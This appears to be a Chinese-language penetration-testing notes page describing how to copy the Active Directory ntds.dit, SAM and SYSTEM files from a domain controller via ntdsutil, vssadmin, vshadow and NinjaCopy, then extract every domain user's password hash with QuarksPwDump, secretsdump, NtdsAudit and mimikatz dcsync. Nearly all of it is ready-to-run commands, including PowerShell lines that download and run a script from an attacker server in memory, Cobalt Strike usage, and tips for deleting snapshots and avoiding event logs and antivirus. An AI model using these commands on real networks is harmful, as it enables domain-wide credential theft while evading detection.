Volume Shadow Copy
1.活动目录数据库
ntds.dit:活动目录数据库,包括有关域用户、组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。因此想要破解sam文件与ntds.dit文件都需要拥有一个system文件
AD DS数据存储:
- 由 ntds.dit 文件构成
- 默认存储在所有域控制器上的 %SystemRoot%\NTDS 文件夹中
- 只能通过域控制器进程和协议访问
由于Windows阻止对这些文件的标准读取或复制操作,因此必须使用特殊技术来获取副本。
(注:ntds.dit文件位置:%SystemRoot%\NTDS\ntdds.dit(只在域环境) system文件位置:%SystemRoot%\System32\config\SYSTEM sam文件位置:%SystemRoot%\System32\config\SAM)
2.Volume Shadow Copy Service
Volume Shadow Copy Service (VSS) 卷影复制服务是微软从 Windows XP 开始提供的用于创建一致性的时间点副本(也就是快照)的服务框架。
- 用于数据备份
- 支持Windows Server 2003 及以上操作系统
- 系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备份,该时间无法确定
- 禁用VSS会影响系统正常使用,如 System Restore和 Windows Server Backup
----获取ntds.dit - Ntdsutil
- 交互式获取ntds.dit
ntdsutil
snapshot
activate instance ntds
create
mount [GUID]
创建快照

挂载到C盘

将目标文件复制到桌面

命令行去复制目标文件

unmout [GUID] //copy 完之后再执行卸载
del [GUID]
quit
quit
卸载快照以清楚痕迹

- 非交互
1. 查询当前系统的快照
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit
2. 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
3. 挂载快照
ntdsutil snapshot “mount {b22b5b27-f20c-452f-bfc4-5ad2d513e765}”quit quit
4. 复制ntds.dit
copy C:\$SNAP_202101201336_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
5. 卸载快照
ntdsutil snapshot "unmount {b22b5b27-f20c-452f-bfc4-5ad2d513e765}" quit quit
6. 删除快照
ntdsutil snapshot "delete {b22b5b27-f20c-452f-bfc4-5ad2d513e765}" quit quit
----获取ntds.dit - Ntdsutil - InstallFromMedia
- 交互式
ntdsutil
activate instance ntds
ifm
create full <Drive>:\<Folder>
quit
quit

- 非交互
ntdsutil "activate instance ntds" ifm “create full C:\ntds” quit quit
----获取ntds.dit - vssadmin
VssAdmin:是Windows系统提供的卷影复制服务(VSS)的管理工具,域环境默认安装。
- 用于创建或删除卷影副本,列出卷影副本的信息
- 用于显示所有安装的所有卷影副本写入程序和提供程序
- 改变卷影副本存储空间的大小等
1. 查询当前系统的快照
vssadmin list shadows
2. 创建快照
vssadmin create shadow /for=c:
3. 获得Shadow Copy Volume Name(获取名称以便后面复制,但卷影文件不会在C盘中显示)
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy21 (就相当于C:\)
4. 复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy21\windows\NTDS\ntds.dit c:\ntds2.dit
5. 删除快照
vssadmin delete shadows /for=c: /quiet (若忘记目录可使用下面一条命令)
vssadmin delete Shadows /All /quiet (渗透时在使用前查看原来的卷影是否有用)
----获取ntds.dit - vshadow(若前面的方法在本地策略中被禁用,则可上传使用此工具进行获取,官方工具,不会被杀)
Vshadow:是一个简单的指令行工具,它允许任何人创建卷影拷贝。系统默认不支持,可在Microsoft Windows Software Development Kit (SDK)中获得该工具。
1. 查询当前系统的快照
vshadow.exe -q
2. 创建快照
vshadow.exe -p -nw C:
参数说明:
-p persistent,备份操作或是重启系统不会删除
-nw no writers,用来提高创建速度
C: 对应c盘
获得SnapshotSetID(用于删除)、SnapshotID、Shadow copy device name(用于复制)
3. 复制ntds.dit
copy [Shadow copy device name]\windows\ntds\ntds.dit c:\ntds.dit
4. 删除快照
vshadow -dx=ShadowCopySetId
----获取ntds.dit - 拓展 - 日志信息
调用Volume Shadow Copy服务会产生日志文件,位于System下,Event ID为7036
执行ntdsutil snapshot "activate instance ntds" create quit quit会额外产生Event ID为98的日志文件
----获取ntds.dit - 拓展 - mklink
- 访问快照中的文件
查看快照列表:
vssadmin list shadows
无法直接访问 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy23中的文件
可通过创建符号链接访问快照中的文件:
mklink /d c:\test\ \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy23\
删除符号链接:
rd c:\testvsc
NinjaCopy
NinjaCopy(是一个powershell脚本,不访问vss服务,不会留下日志)
通过NinjaCopy获得域控服务器NTDS.dit文件
没有调用Volume Shadow Copy服务,所以不会产生日志文件7036。
Import-Module .\invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\sam.hive
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination .\system.hive
Invoke-NinjaCopy -Path C:\windows\ntds\ntds.dit -LocalDestination .\ntds.dit
- NinjaCopy - cobaltstrike
powershell-import C:\Users\MINGY\Desktop\Invoke-NinjaCopy.ps1
powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination c:\sam.hive
powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination c:\system.hive
powershell Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination C:\ntds.dit
- NinjaCopy - 远程加载(加载到内存中执行)
powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://vpsIP:8000/Invoke NinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination c:\sam1.hive
powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://vpsIP:8000/Invoke NinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination c:\system1.hive
powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://vpsIP:8000/Invoke NinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\ntds\ntds.dit -LocalDestination c:\ntds1.dit
解密ntds.dit
QuarkPwDump:Quarks PwDump 是一款开放源代码的Windows用户凭据提取工具,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。(此方法不可分离到本地进行破解,因为没有用system文件进行解密)
1. 修复复制出来的数据库文件(必须执行的前置命令)(后面那些工具也需这条命令进行修复) esentutl /p /o ntds.dit
esentutl /p /o ntds.dit
2. 使用QuarksPwDump直接读取信息并将结果导出至文件(获取哈希)
QuarksPwDump.exe --dump-hash-domain --output de1ay.com.txt --ntds-file ntds.dit
secretsdump
impacket 套件中的 secretsdump.py 脚本解密,速度有点慢
secretsdump.exe -sam sam.hive -security security.hive -system system.hive LOCAL
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL
NtdsAudit
NtdsAudit可以十分高效的破解ntds文件并将全部域用户信息导出方便查找域用户状态。
将ntds.dit文件和SYSTEM文件放在同一目录下执行命令
NtdsAudit.exe "ntds.dit" -s "system.hive" -p pwdump.txt --users-csv users.csv
mimikatz
Mimikatz有一个功能(dcsync),它可以利用目录复制服务(Directory Replication Service, DRS)从NTDS.DIT文件中提取密码哈希值。
- 通过dcsync直接获取de1ay域内所有用户hash
lsadump::dcsync /domain:de1ay.com /all /csv
- 获取单个用户的详细信息
lsadump::dcsync /domain:de1ay.com /user:krbtgt
- 查看所有用户的所有详细信息
privilege::debug
lsadump::lsa /inject
Comments | NOTHING